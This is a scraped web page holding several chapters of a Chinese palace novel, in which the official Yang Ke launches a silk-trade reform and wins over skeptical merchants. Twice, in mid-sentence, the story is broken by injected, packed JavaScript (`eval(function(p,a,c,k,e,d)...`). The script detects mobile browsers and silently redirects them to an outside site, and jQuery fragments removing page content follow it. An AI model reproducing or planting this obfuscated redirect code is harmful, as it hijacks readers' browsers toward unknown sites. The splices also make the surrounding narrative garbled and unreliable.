“克娴于礼”,这四个字听起来当真着实讽刺。杨柯垂眸听着,心底满是无奈。前几日自己当殿冲撞圣颜之事,早已闹得沸沸扬扬。杨柯本以为御侍令一事就此作罢,可皇帝却好似全然忘了此事,半月前的调令不仅未作更改,反倒如期颁下。这般行事做派,实在叫人摸不透。看来师父说得没错,皇帝老儿果真不是一般人能当的。 今晨一早,杨柯还未来得及回到观云阁,李公公便抢先一步来了武华殿,堂堂皇皇地颁布了调令。 “臣杨柯,接旨。”杨柯敛袖跪于青砖之上,脸色却不大好看。 “杨大人,跟奴才走吧,陛下那边催得紧呢。”李公公合上手里的明黄色绸缎,笑眯眯地道。 “李公公,刑部尚有积案需杨柯过目,”殿门前转出一道玄色身影,宇文泰负手而立,徐徐走来,“不妨您向父皇通融半日。” 李公公低眉顺目地欠身道:“既然殿下发话,哪里有不行的道理?”视线又转向杨柯,笑意更深,“杨姑娘,您是想搬去东芜苑,还是继续留在观云阁呀?”说到后半句,眼睛却是看向宇文泰。 宇文泰上前半步,率先道:“观云阁在武华殿西侧,离勤政殿仅百步之遥,东芜苑虽属内廷辖制,却隔了三重游廊。再说,杨柯搬迁还要劳师动众,反增公公差事,不如索性在观云阁继续住着。” 李公公微微颔首:“殿下考虑周全,咱家这就回禀陛下。”他将圣旨卷回玉轴,“既如此,杨姑娘的文牒便着人送去观云阁了。” 杨柯心里倒是松快,既省了搬迁的麻烦,又不必整夜处在皇帝眼皮底下了,于是乖乖垂眸福身:“多谢殿下和李公公操心了。” 到了晚上,暗黄宫灯在甬道蜿蜒成河。李公公遣来的小内侍提着宫灯在前引路,杨柯跟着他的脚步,慢悠悠地往勤政殿行去。 再到勤政殿,杨柯已是轻车熟路,不过这次,倒是头一回心安理得地进出。 还未走近殿门,便听见殿内争执声如沸汤翻涌。 “桐丘水患拖了两个月,前线十万大军每日耗粮巨大,国库已是捉襟见肘。”皇帝手上的珠串相撞发出脆响,伴随着他有节奏的脚步声,一步一步踏在人的心头。 郑仪道:“陛下容禀,江南丝税本可充作军需,偏被水匪截了三成,若是能解水匪之患,下月税银至少能增二十万两。” “二十万?”魏长明笑出声,“郑大人岂不是过于乐观?去年同期江南丝税足有八十万,如今连半数都不到!与其整治水匪,不如恳请陛下调用内库补贴国库,解了燃眉之急才是正理。” “依臣之见,”张意初的声音响起,“当务之急是抢修桐丘堤坝,若再不加固,秋汛冲毁漕运,莫说赋税,恐怕到时候米粮都得从邻邦采买。” “好,好得很。”皇帝突然一脚踹翻奏折匣子,纸张顿时漫天飞舞,“明日早朝,你们都给朕抬着金丝楠木棺材上殿!朕带你们躺进皇陵,跟先帝哭穷去!” 霎时间,殿内没了声响,只听见殿外传来撕心裂肺的蝉鸣。 李公公轻声道:“杨大人,陛下还在跟六部大人们商量着事儿呢,您且稍候片刻。” 杨柯拢了拢狐裘,朝廊柱方向又靠了靠:“没事,有劳公公通传了。” 里头的讨论重新响起。 “父皇,儿臣尚有一策,”伯喻的声音响起,“既然魏大人提到……” “阿嚏!”西廊突然卷来一阵穿堂风,杨柯鼻子骤痒,没忍住打了个喷嚏。 殿内声音戛然而止。 “李福瑞,怎么回事?”皇帝的声音裹着怒意传了过来,杨柯心里不禁一紧,怎地每次过来都这么触霉头? 李公公忙不迭掀开门帘:“回皇上,奴才把杨姑娘带来了,方才风大……” 皇帝抬臂一挥:“让她进来吧。” 杨柯提步进去,乖乖福身道:“臣参见陛下,参加各位殿下、大人。” “起来吧。”皇帝朝杨柯虚点两下,“你现在是朕的御侍令,今日朕叫他们来,是为了国库一事,你且在边上听着。” 杨柯跪奏道:“陛下恕臣冒昧之罪。臣方才闻得陛下和大人们的讨论,绝非有意窃听。若陛下不弃,臣倒是有一办法,或许能解当前之急。” 皇帝惊讶抬眉:“你说。” “臣方才闻郑大人论及丝绸赋税,忽想起臣家中正好有一间丝坊,据臣所闻,时下丝绸行当,织户各自为营,多不过十人,织机粗敝,难成上品;另外,纹样花色趋同,以次充好时有发生。臣斗胆建言,可仿盐铁官营之制,行‘官督商办’之策。” 郑仪眉头微蹙:“陛下,杨姑娘的建议倒是新奇,只不过小民织户全赖手艺吃饭,若强行划一标准,反倒让原本的能工巧匠受制于庸官俗吏。” “郑大人所言极是。”伯喻徐徐起身,“不过杨姑娘方才的想法恰与儿臣所思暗合。至于郑大人的顾虑,我想倒是好办。” 皇帝道:“嗯,你有何办法?” 他继续道:“将丝绸标准分为两类:皇室专用的‘官样’,由工部严格监管;民间流通的‘民样’则放宽限制,仅规定质地、幅宽等基础要求,为地域的技艺留足余地。” 皇帝颔首道:“这倒是个办法。那标准由谁来定?” 张意初向前一躬:“依臣拙见,倒不如设立参议府,收纳民间出名的染坊主、绣娘,如此一来,也能避免官员独断的情形发生。” “嗯,不错。”皇帝捋着胡须颔首,又问道:“京城的丝绸商行都有哪些?” 张意初回道:“庆云号占了大成,其余皆不成气候。” 皇帝拧眉思索:“朕记得……庆云号……” 宇文泰适时插言道:“庆云号东家乃沈裕之,此人在越州起家。早年入仕擢升至户部,七年前因母丧辞官丁忧,此后未再出仕,转而回家经营丝业。” “沈裕之……”皇帝目光转向伯喻,“朕记得,他是易望林举荐来的?” 伯喻拱手道:“正是此人。昭明二十年的进士,还是由陛下钦点二甲头名,后入翰林院。易大人主政吏部时,将他调回户部执掌丝业。” “是个才子,”皇帝轻叩御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622668|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案,“竟跑去经商了……可惜。” 杨柯这时插言道:“陛下,臣还有一事。” 皇帝侧首,温言道:“嗯,你且说。” “朝廷内虽设了市舶司,可是丝绸远渡者十不足一,臣小时候曾听闻大食国的王后,着人用二十箱琉璃盏换我朝半匹织金锦。既然番邦贵族对我朝华服趋之若鹜,或许销往海外是个增加产量的好法子。” 皇帝将视线转向户部:“郑仪,我朝每年经市舶司运到海外的丝绸有多少?” 郑仪额头沁出汗来:“确实如杨姑娘所说,不足十分之一。市舶司……市舶司去年才从越州迁到京城,诸事繁杂,尚未理顺……” 皇帝喝道:“你们市舶司是干什么吃的?竟连商船出海的门道都没摸清?若再如此庸碌,朕便叫你们都去西南晒盐!” 郑仪道:“陛下息怒,市舶司设立时间尚短,再说了,民间丝绸质量良莠不齐,若大量销往海外,恐怕失了国威。” 张意初道:“陛下,不如先由工部牵头整合苏杭十二府织坊,设立“皇商丝绸行会”,定蚕种、染料、纹样三项官标。另委市舶司专司海路,与波斯、大食诸国签订十年通商之约。利税按三七分账,三成充实国库,七成返哺行会。若陛下首肯,可先于京城试点三年,再推行天下。” “儿臣也有一计,”宇文泰这时开口道,“可将特等蜀锦定为军功赏赐之物,也可省去些军费的开支。” 皇帝闻言抚掌大笑:“好!如此三载,富国、强兵、裕民,三者兼得。”他抬手示意张意初,“就按你说的办!即刻着人拟旨,明日早朝便颁下去。” 待众人屏退,殿内只剩下杨柯一人。 皇帝的目光又重新转向杨柯:“前几日朕将你关进大牢,你心里可还好受?” 杨柯本以为皇帝会倚老卖老、装个糊涂,结果他心里跟明镜似的,只是想寻个恰当的时机,给彼此一个台阶下罢了。她欠身道:“陛下虽然对臣惩罚,但臣顶撞陛下,不识大体,确有诸多不当之处。如今陛下还能不计前嫌,容臣在陛下身侧,臣深表感激。”说完这句,杨柯只感觉浑身不自在。 “好,你能这样想,朕很欣慰。”皇帝说完视线转向李福瑞,“以后多带带她。” 二人齐声道:“是。” 新政很快便颁布了下去,杨柯在皇帝身边也越来越习惯,渐渐地,皇帝将越来越多的事交给她去办了。 几日后,刚过晌午,杨柯正在立在书案边研磨,忽听得李公公来报:“陛下,公孙大人求见。” 皇帝抬手道:“让她进来。” “陛下,近日新政颁布以来,民怨沸腾,”公孙瑶眉目拧起,“不少织户聚集在衙门前哭诉,更有甚者当街自焚织机抗议示威。” 皇帝拧眉掷笔道:“怎么回事?前日不是说已着人安抚?” 公孙拱手道:“陛下息怒。据闻民间出现不少谣言,说是行会要强征织机充公,女户皆罚为官奴。” “荒唐!”皇帝拍案而起,案上青瓷笔洗剧烈震颤,“到底是谁在背后……”话还没来得及说完,一口鲜血骤然蓬了出来,尽数喷在了奏疏上。 69.谈判 “陛下!” “父皇!” 孔阳公主惊呼着扑至皇帝身侧,转首斥责呆立的宫女,“愣着干什么?还不快拿药来!” 那宫女颤颤巍巍地退了下去,不出多时端来一碗药汤。 杨柯退至廊下,见皇帝接过丝帕拭血,苍白面容泛起青灰。 “陛下……”公孙还要开口,被孔阳抬手制止住,公主对着皇帝柔声道:“父皇是不是忘记吃药了?” 皇帝拿起丝帕擦干了嘴角的血迹,苦笑道:“这不是顾着新政的事,忘了时辰。” 孔阳嗔道:“您啊,总是因为这个、因为那个忘记了吃药。女儿的嘴都要磨出茧子了。” 皇帝笑道:“有你在朕身边念叨,朕忘了又如何?” “这身子可是您自己的呀!若哪天女儿没在跟前,您就压根儿不吃了?”说完将玉碗端到皇帝面前,“瞧,这药都凉了。” 皇帝接起碗一饮而尽,喝完抹了抹嘴角:“公孙,你方才说到哪儿了?” “陛下尽可放心。”公孙垂首道,“户部已经连夜刊印了《新政释疑书》,将‘强征织机’的谣言改编成了‘恶商欺民、行会平冤’的画本,已命人押送三万册至京城各地和江南各州免费发放。” “这些条例要去民间广而告之,如此才能让百姓明白朝廷在做什么。”皇帝话语顿了顿,“谣言可以消解,你们还有没有别的法子让这些散户愿意配合?” 公孙道:“这些商户大多依赖丝绸商过活,臣斗胆请陛下恩准,对响应新政的散户减免三成赋税,再由官府出面,以保底价收购他们的生丝。如此一来,既能断了丝绸商胁迫的手段,又能让散户尝到甜头,主动靠拢新政。” “准了。”皇帝抬手揉了揉眉心,“速办吧。” 孔阳听了这番问对,不禁赞叹道:“公孙大人好头脑,这么多的事头,要让我去做,我脑袋都大了。” 皇帝笑道:“你这表妹可不是一般人。有她在,朕属实省了不少心。” 公孙顺势道:“臣听闻殿下与庆云号来往甚密,公主府也有些纺机资产,刚好今晨宣王殿下和臣还在商讨着该由谁出任行会监察使一职,臣斗胆建议,不如就由公主殿下出任。” “这倒不错,”皇帝笑看向女儿,“昭宁,你可愿意?” 孔阳扬眉一笑:“既然父皇和妹妹都开口了,我哪有拒绝的道理?”她侧首问向身旁的仕女,“笼月,府里还有多少织机?” 笼月俯身回道:“回殿下,前日军器监刚查验过,共三百二十架,皆可随时投入使用。” 孔阳朗声道:“甚好,本宫的嫁妆虽不多,但这三百架织机却都是顶好的苏式提花机,拿去给行会添个彩头!” 公孙肃然拱手:“臣代户部多谢殿下!” 皇帝问道:“公孙,你还有什么请求,今日一道都说了。” 公孙福了福身:“陛下,丝业新政若要落地,需熟知民间行情之人督办。臣久居内廷,虽拟定方略,”她语气稍顿,似有斟酌,“但督办之职……” 杨柯上前半步:“陛下,臣愿请命!” 皇帝眉梢微动,公孙也侧目看她。 杨柯诚恳道:“臣家中世代经营丝纺,自小在缫丝坊、绸缎庄长大,熟知江南丝绸行规、商户心思,新政推行,正需与民间对接,臣——” 皇帝抬手打断:“你如今是内廷女官,按例不得干预外务。”说罢,目光转向公孙,“公孙,你以为如何?” 公孙微微一笑,语气平和:“杨姑娘确有此长,新政若得熟悉商道者协助,事半功倍。只怕……内廷官员出宫督办,恐惹非议。” 杨柯立即接过话头:“陛下,臣可暂领‘协理’之名,随公孙大人学习办事,不行公文,只作暗访。待新政初成,再归内廷复命。” 皇帝轻叩御案,似笑非笑:“你这脑子倒是转得快。”说完,略作沉吟,“也罢,朕准你随公孙同行,但须谨记——凡事以公孙为首,不可僭越。” 杨柯心中自然大喜,立刻上前跪谢道:“多谢陛下!多谢公孙大人赏识!” 公孙也拱手道:“陛下圣明。有杨姑娘相助,新政推行必能少些阻力。” 随后,公孙带着杨柯回到了尚书局,拿起案头堆叠的一本账册:“若行会的织户减免三成赋税。那些焚烧织机的商户,怕是要重新盘算利弊了。” 杨柯问道:“可朝廷减免赋税,又从何处筹钱支持新政?” 公孙“唰”地合上账本:“户部已经调拨三十万两白银。” 杨柯惊道:“三十万!国库难道不缺银子?” 公孙斜睨向她:“是啊,若不是伯喻一味坚持,从王府私库拿出银子来,哪里会有三十万,顶破天就十万。” 见杨柯眉头一簇,公孙立刻道:“他是为了新政能成。” 杨柯立刻道:“多谢殿下!” 公孙眼珠一转,故意扬起声调:“诶?巧了不是,这新政的由头好像是我跟前的杨姑娘提出的吧。” 杨柯避开她的目光,转而担忧道:“这么大一笔银子挪出来,御史台怕是要弹劾伯喻……” 公孙宽言道:“放心吧,伯喻这么做并非头脑发热。庆云号这些年垄断财路,单是生丝差价,每年就从百姓手里多刮走百万两白银。伯喻此举,一是替国库先垫银子,二是借机撕开庆云号的口子。只要新政让织户直接对接外商,不出半年,三十万两不过是小头,国库反而能多收几倍的税。” 杨柯喃喃道:“那就好,那就好。” 公孙摇头感叹道:“你们啊,一个敢提新政,一个敢押上王府私产,还真是‘一个愿打,一个愿挨’。” 杨柯低声道:“大人还是别打趣了。公主殿下不也送了府里的三百织机吗?” 公孙闻言冷笑:“话是这么说,她那三百台织机,也占了行会的三成股份。”她笑着揶揄,“咱们的公主殿下,从不做亏本买卖。” 杨柯抿唇不语,公孙收敛笑意,正色道:“不过你记住,不管是公主还是绸缎庄,逃不脱三点:第一,破其根基,第二,断其枷锁,第三,予其好处。” 见杨柯听得入神,公孙从袖中抽出一卷图纸推给杨柯:“明日去行会,把工部新育的蚕茧亮出来。记住,百姓要的是实实在在的活路,商人要的是明明白白的利益。把这两点摆到台面上,便没什么好怕的。” 杨柯笑道:“绸缎庄的老头子能有多难对付?从小到大,我跟着母亲在染坊里混,最擅长跟他们算细账、掰手腕。大人且放宽心!” 公孙听言失笑,起身拂袖,临出门时忽又道:“对了,若哪天伯喻被弹劾,你可得帮他写好辩词。毕竟这新政的始作俑者,可是你啊。” 行会议事厅内,以庆云号为首的几个大丝坊、染坊老板围坐两排,个个面色阴沉,一双双眼睛像是沙漠里的秃鹫。檀木案几上的茶盏早已凉透,浮沫凝成一层灰白的痂。屋外的蝉叫得昏天黑地,仿佛要把人的脑仁儿都吵出汁来。 “这都什么时辰了?怎地还不来?”卢掌柜指节“哒哒哒”地敲着桌面,汗水顺着鬓角滑进衣领,绸衫后背洇出一片深色。 “沈掌柜约的是午时三刻,如今茶都凉了!”旁边绸缎庄的赵老板阴恻恻地接话,手里一把湘妃竹扇“唰”地展开。 这时,一个人影走了进来,众人目光顿时跟了过去。然而,看清来人只是沈府的小厮时,神情又瞬间黯淡下去。 “掌柜的,杨大人说马上就来。”小厮开口道。 卢掌柜抹了一把汗:“马上就来?这‘马上’都说了几回了?” 小厮为难道:“卢掌柜您也别着急,杨大人刚从绣坊出来呢,正往咱们这赶过来。” “呵,都说新官上任三把火,这杨大人倒好,反叫咱们这群‘老骨头’干等着喝风!”赵老板冷笑一声,端起茶盏又重重撂下,杯底磕在案几上,发出“咚”地一声闷响。 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“既然朝廷都发话了,咱们做生意的,哪里有不配合的道理?”一直未作声的沈裕之终于开口,听他定了调子,其他掌柜纵使有再多的怨气也只能憋在心里。一来,杨柯是朝廷钦点的官员,二来见她年纪轻轻却和气稳重,众人也不好再为难。 卢掌柜轻咳两声:“我等不过是些操心柴米的生意人,方才言语冒犯,还望大人海涵。” 杨柯笑道:“卢掌柜客气了。”她示意小厮添茶,目光扫过每张紧绷的脸,“我虽忝居官身,却也是从小在绸缎堆里打滚的。当年跟着阿爹阿姆走南闯北时,哪回不是扒着诸位铺子里的柜台看织锦?临了还得讨碗糖蒸酥酪才肯走。” 杨柯这话半真半假,但满座掌柜虽常年呆在北方,其中大半却从江南起家,杨柯话里掺杂的几分越州乡音,勾得几个南方来的掌柜眼皮微动。 她顺势又道:“杨某初来乍到,确实该多听听大伙的难处。” 京城的赵老板扫视了众人一眼,冷笑道:“杨某?杨大人倒是把自己当自家人了。” 杨柯闻言抬头,笑意未减却多了分郑重:“在商言商,杨某今日没带官印,只带了对招子和一对耳朵。”她双手端起案上的凉茶盏,“诸位若是觉得这茶太苦,”话毕,又忽改越州方言拖长了调子,“只管泼在杨某身上,顺便告诉杨某,你们想喝的是蜜水还是酸梅汤?” 话音落下,几个老掌柜神色松动,放下了茶盏,卢掌柜碾鼻烟壶的手指也顿在半空,缘是这话里的软糯乡音,与他们少时在越州码头听惯的船娘小调一般无二。 卢掌柜首先开口,语气也松软了几分:“既然杨大人要听真话,我们也打开天窗说亮话。不是不愿配合官样,实在是有些难处摆不上台面。” 赵老板却截道:“杨大人若要咱们按按行会价统销丝绸,可惜这些银子还不够给我家老夫人塞牙缝!”他重重叩了叩桌沿,震得算盘珠子噼里啪啦滚动,“官标蚕种吐丝量比民种少三成,等于白扔三成银子!照这么算下去,下月怕是连织机的油钱都凑不齐!” “可不是么!”云锦庄的孙娘子紧跟着拍桌,“杨大人,我和你娘也是老相识了,有些话我也不得不讲。朝廷规定的民样规制也太严了!连缠枝莲的花瓣数都得按官样来,多一瓣少一瓣都要打回重绣。咱们绣娘的眼睛都快累瞎了,工钱还不够买明目药!” “各位,”沈裕之忽然轻叩茶盏,“杨大人是朝廷钦点的大人,既然拿了官银,自然该替咱们向上头说话。”他慢悠悠扫过满堂激动的掌柜,目光最终凝固在杨柯身上,“杨大人,您方才也听到了,赵老板说的蚕种吐丝少、孙娘子讲的绣纹规制严,这些可都是实打实的损耗啊!您若是能替咱们求个‘损耗免责’,往后官样绸缎出了差池,咱们也敢担待不是?” 这话一出,众人纷纷变了脸色——谁都听出了话里的陷阱:若杨柯真应了“损耗免责”,将来官样出了差池便是朝廷追责,可若不应,又显得她不肯替商户着想。 满室掌柜的目光齐刷刷钉在杨柯脸上,只等着看她如何接招。 70.契约 “沈掌柜说的有理,”杨柯语调不紧不慢,“我阿姆常说,生意人讲究的是‘秤平斗满’。诸位且宽心。” 话落,她抬手轻叩桌沿,方才的几名壮汉立刻抬着朱漆木箱上前。箱盖方一掀开,一股桑香混着草药气息灌满了屋子。 杨柯捏起一片鲜嫩桑叶,逗弄竹匾里蠕蠕挪动的青白蚕身:“这‘九霞蚕’吃的是岭南改良桑苗,喝的是山泉水,吐的丝足有旧种两倍细。” 说罢,她取出一卷账册,朗声道:“凡入行会者,可按成本价购此蚕种,若收成不及旧种,差额由行会补足!” 众人脸色皆亮了起来,互相对视,眼里又是兴奋又是犹豫。 孙娘子性子直,憋不住话:“说是补钱,可要是你们做官的一拍屁股走了,我们上哪儿寻衙门去?” 她这话说得直白,满室掌柜的眼神跟着活泛起来,但却纷纷装作低头喝茶,实际上皆竖着耳朵等着下文。 “孙娘子放心,每笔交易都会登记在册,”杨柯笑意盈盈,从袖中掏出一枚刻着行会印鉴的玉牌,“凭此玉牌可随时找我对账。若行会赖账,我拿乌纱帽担保,娘子看好不好哇?” 杨柯这句“好哇”,探询得殷勤,商量得软语,教人难以拒却。众人跟着哄笑起来,孙娘子手上的帕子也松了松。 “至于纹样,您更不必担心。”杨柯抬手一挥,十二名绣娘鱼贯而入,每人臂弯都抱着尺许高的画轴,“朝廷要的不是限制,而是规范。从今日起,行会纹样库全面开放!” 话落,绣娘同时展开画轴,百幅“基础纹样谱”在砖块上铺成锦绣长卷,满室抽气声此起彼伏,掌柜们纷纷离席,茶盏碰翻在桌沿也顾不得,蜂拥着凑到画轴周围。 “诸位可自行搭配,只需在边角加印行会徽记,其余一概不拘!” “随意搭配?”卢掌柜神色凝重,“万一有人拼出五爪金龙……” 话还没说完,却见杨柯抬手示意绣娘捧出文书:“所有纹样在使用前都会过审。任是天上的凤凰麒麟、地下的狮虎貔貅,随便拆开重组都不打紧,卢掌柜还有什么好担心呢?” 卢掌柜的喉结动了动,眼神却飘向沈裕之。只见沈裕之抚掌大笑:“杨大人高义!既如此,庆云号愿捐出三成织机,万望大人莫嫌微薄。”说罢抓起狼毫,在中央案桌上的契约签下斗大的 “沈” 字,“我庆云号腆脸做个表率,还请诸位随力相助。”说完,冲着杨柯欠身半礼,“杨大人,请。” 杨柯还未回过神,沈裕之已经将契约推了过来。 杨柯心里一咯噔,听公孙说,沈裕之惯会扮猪吃虎,今日她刻意来迟,便是让他们乱了阵脚后再作计较。方才抛出蚕种、纹样两招,满屋掌柜或质疑或刁难,可唯有沈裕之捻着胡须笑而不语,此刻却如此爽快地成交,难道藏着什么花招? “有劳沈掌柜配合了。”杨柯笑着接过契约,赶紧埋头看了起来。 忽然,门外一个小厮疾步而入,凑到沈裕之耳边道:“掌柜的,小姐差人送了信来,说要到未时三刻才回府。” 沈裕之眉头一皱:“怎地这么晚?” 小厮回道:“说是要去蚕神庙。” 二人话音虽压得极低,但旁人竖起耳朵听,倒是也能听个一清二楚。 沈裕之又问道:“不是说去绸缎庄取花样?怎的绕到蚕神庙去了?” “小姐听说……”小厮苦着脸上前凑了凑,“羲王爷今日去蚕神庙祈福……” “羲王羲王,又是羲王!”沈裕之手中茶盏砰地一翻,几滴茶点子溅上契约一角,“你平时怎么劝她的,京城里多少世家公子求娶,她非得盯着羲王做什么?” 小厮劝道:“小姐也是想着替老爷祈福,老爷就让小姐好生开心一阵子吧。” 沈裕之还要再斥,他忽然瞥见杨柯凝着的眉眼,话语骤然转低:“罢了,随她去。你带两个护院暗中跟着,莫叫人欺负了。” 杨柯听得心里七上八下的:自己才刚离开武华殿,这宇文泰就等不及去寻新欢了?诶,不对呀,自己何时成了他的旧欢? 还未等她理清头绪,忽听沈裕之的声音靠近:“杨大人?” 杨柯猛一抬头,正见老狐狸似笑非笑的眼神,“可是契约有不妥处?” 方才她将契约正文逐行扫过,在公孙嘱咐的“权责条款”、“交割时限”等紧要处特意多停留了几眼,倒是没看出有什么不妥。 未及杨柯抬眼,卢掌柜已跨上半步:“既然沈掌柜都以身作则,我等岂有不随的道理?” 说罢接过狼毫,“卢” 字落在沈裕之签名旁。这一举如涟漪荡开水面,众掌柜也纷纷上前,不过盏茶工夫,契约末尾已签满了十七个商号名。 “多谢诸位抬爱,杨某代朝廷表达谢意。”杨柯将契约收入朱漆木箱,孙娘子的手拍上她的手背:“阿柯啊,你自小在巷口丝纺帮衬,婶子瞧着你长大的。往后可莫要忘了咱们这些老街坊。” “嬢嬢客气啦。”杨柯笑眼弯弯,话语索性换成了越州方言,“今朝朝廷体恤生意客,若有啥格难处,孃孃伯伯尽管同我讲。” 众人听言大笑,将杨柯簇拥着迈出了门。 寒暄几句后,沈裕之便亲自提着几盒礼品送她到府门。 “杨大人新官上任三把火,还望大人往后多加照拂。” 杨柯笑道:“今日全赖沈掌柜牵头。” “哥哥。”一道清脆唤声从背后传来,杨柯转首望去,来人素衣纤弱,眸含秋水,女子轻轻福身:“澜之见过杨大人。” “沈小姐。”杨柯抬手虚扶,见女子脸颊粉红,眉眼笑意难掩,香囊被双手稳稳地握着,似是什么宝贝一般。杨柯清楚地记得,此等香囊形制正来自城西的蚕神庙。 沈裕之抬手介绍道:“这是舍妹澜之。” 杨柯面上笑道:“沈家兄妹果然生得芝兰玉树。”话还未说完,她的视线已经忍不住瞥向沈澜之手里的香囊,似是漫不经心地调侃道:“这香囊绣的可是‘并蒂莲’纹样?改日若得空,杨某想请沈小姐到行会纹样库逛逛,说不定能寻着更合心意的花样。” 沈澜之的指尖猛地收紧,掌心又往怀里收了收:“多谢大人美意。只是,这香囊是重要之人相送,澜之实在舍不得换。” 杨柯心里倏地蹿起一簇火,太阳穴突突跳得厉害。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681001|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈裕之轻咳道:“舍妹自小在闺中养得娇惯,说话没轻没重。”他抬手虚虚一引,袖角扫过妹妹攥着香囊的手背,“今日多有唐突,还望杨大人海涵。” “不碍事。”杨柯扬起一笑,“行会事务繁杂,杨某先行一步,多谢沈掌柜今日款待。” 沈裕之拱手道:“杨大人好走。” 坐在马车内,外头沈府小厮的议论声漏了进来:“你瞧着没?小姐今儿个可是春光满面。” “可不是嘛!有情能使鬼推磨呢!” “方才听门房说,羲王竟亲手给小姐系了香囊!那上面绣的还是并蒂莲!” “两人在蚕神庙偏殿呆了两炷香工夫才出来,也不知……”那人忽然压低声音,语气里掩饰不住的兴奋,“是不是去求了送子签?” “快别瞎说八道!”另一人“啪”地拍上那人后脑勺,那人诶哟一声,忙不迭叫苦。 “小姐屋里供着的蚕花娘娘都听着呢!再胡吣仔细割了舌头!” 那人抱着头直往后缩:“我就猜猜……再说香囊都系上了,保不齐……” “保不齐你个鬼!” “咳咳!”杨柯屈指叩了叩车窗,两人骤然安静了下来。半晌后,小声的嘀咕又传了进来:“我的娘!咱们车里的是朝廷命官,要真闹出什么……” “不敢啦,不敢啦……” 话语被车轮碾过石板的“咯噔”声绞碎,杨柯的心情也像这声音一般,被胡乱搅成一团。 夜色降临,一辆青竹帷马车停在了沈府门前,一双玉嵌珍珠绣鞋踏了下来,鞋尖珍珠随步履轻颤,清越声响如叩玉磬,恰似步步生莲。 门前小厮见了来人,赶忙迎了上来:“易小姐!我家小姐在听松阁等您呢,您是直接过去还是?” 易云舒抬手虚压:“不急。”话音未落,已迈过门槛。 小厮怔了怔,忙不迭开门引她入厅:“好嘞!” 二人进了大厅,易云舒问道:“你们老爷在哪儿?” 小厮脸上一愣:“您找我们老爷?” 易云舒淡淡点头,并不多语。 小厮旋即反应道:“老爷在书房里呢,小的立马去给您通报!” 片刻,一道青白身影踏进了门来。 易云舒起身道:“沈掌柜。” 沈裕之冲对方行了一礼:“易姑娘今晚来访,不去听松阁说些女儿家的体己话,倒来找我这老头子谈生意?” 易云舒在竹椅上落座,并不回答沈裕之的问题,反而道:“今日听闻澜之妹妹去了蚕神庙。” 沈裕之执壶的手顿了顿,低声叹道:“她长大啦。” 易云舒微微一笑,但那笑里却藏着寒意:“上次我教她绣‘并蒂莲’,她还问我‘如意’二字怎么起针。如今倒要把绣着‘如意’的香囊送出去了。” 沈裕之无奈摇头,静了半晌才道:“易姑娘深夜登门,只为说这个?” “自然不止于此。”易云舒从袖中取出描金拜帖,“今日,是受家父的命,特来拜访沈掌柜。” 沈裕之露出了微笑,抬手引向书房的方向:“易姑娘,这边请。” 71.误会 戌时三刻,沈府的乌木马车停在了宫门前,车辕上的小厮躬身掀帘,朝着里头堆笑道:“大人,到了。” “嗯。”车厢暗处的杨柯闷闷地应了一声,随即大步跨下马车,径直略过小厮伸来搀扶的手,冷淡道:“你们回吧。” 小厮面露难色:“老爷吩咐了,夜里不安全,得目送姑娘进去。” 杨柯心里嘀咕,难怪沈裕之能做稳丝绸大商,行事果然周到。她见二人眼巴巴的模样,原先起的促狭心思也跟着淡了,于是摆摆手道:“宫里还能出事?你们快些回去歇息吧。替我谢过沈老爷的车驾……”话到嘴边又转了弯,从袖中摸出两锭碎银塞过去,“虽说入了春,夜里风还是凉,路上买些热酒暖暖身子。” 两个小厮愣了愣神,但手却听话地捧过银子,二人笑得见牙不见眼:“好嘞!杨姑娘您也早些歇息!”言罢便回身上车,“驾!”马车调转了头,朝着宫外的方向欢腾而去。 望着马车在夜幕里消失不见,杨柯垂下了头,一脚踢飞路面的石子,石子砸在朱漆宫门上发出脆响,惊得檐下麻雀簌簌飞起,她却丝毫没有察觉,点着靴尖在青石板上胡乱划着圈。 杨柯望着自己歪歪扭扭的影子,突然蹲下来揪住裙角使劲揉。 明明该高高兴兴地回观云阁的,青桃新腌的梅子姜还在食盒里温着,况且难缠的丝绸商已经签约,可为什么她的胸口却像是堵着一团湿棉花?杨柯越想越烦,干脆把脸埋在膝盖里,却闻到袖间残留的那股龙涎香。 “哼。”她突然对着空无一人的宫道哼了声,自己也不知道在气什么。 站起身来,脚下步子拖着她到了尚书局的门外,木门缝里飘来的暖光像是小时吃过的焦糖软糕,让她倍感妥帖。 杨柯缓缓推门而入,当值的几个女官正围着铜炉核对着账本,听到脚步声,纷纷转头,见了她后,又接着围了上来:“杨大人,恭喜恭喜!” 一个扎着双丫髻的小女官举着手里的糖蒸酥酪往前凑:“卢掌柜差人送的谢礼!他还特意叮嘱,说杨大人日后若想家了,卢府立马送来酥酪!” “打蛇全打七寸!今日你使出两招,那帮老狐狸的算盘珠子全给蹦到十里外去了!”这人的话音未落,又往她手里塞了块糖蒸酥酪,糖霜沾得指尖发黏。 望着众人亮晶晶的眼睛,杨柯嘿嘿笑道:“多谢各位!这些不过是分内事。” 朱缨拨开人群,手掌里的茶汤跟着晃出几滴。经过了一个冬天,朱缨的脸上也丰腴了几分。“前儿我还跟公孙大人争呢,说你总在武华殿耗到三更天,这几月的考评该记‘缺勤’,如今看来,你办成了这件事,平日里的规矩都该作废罢!” 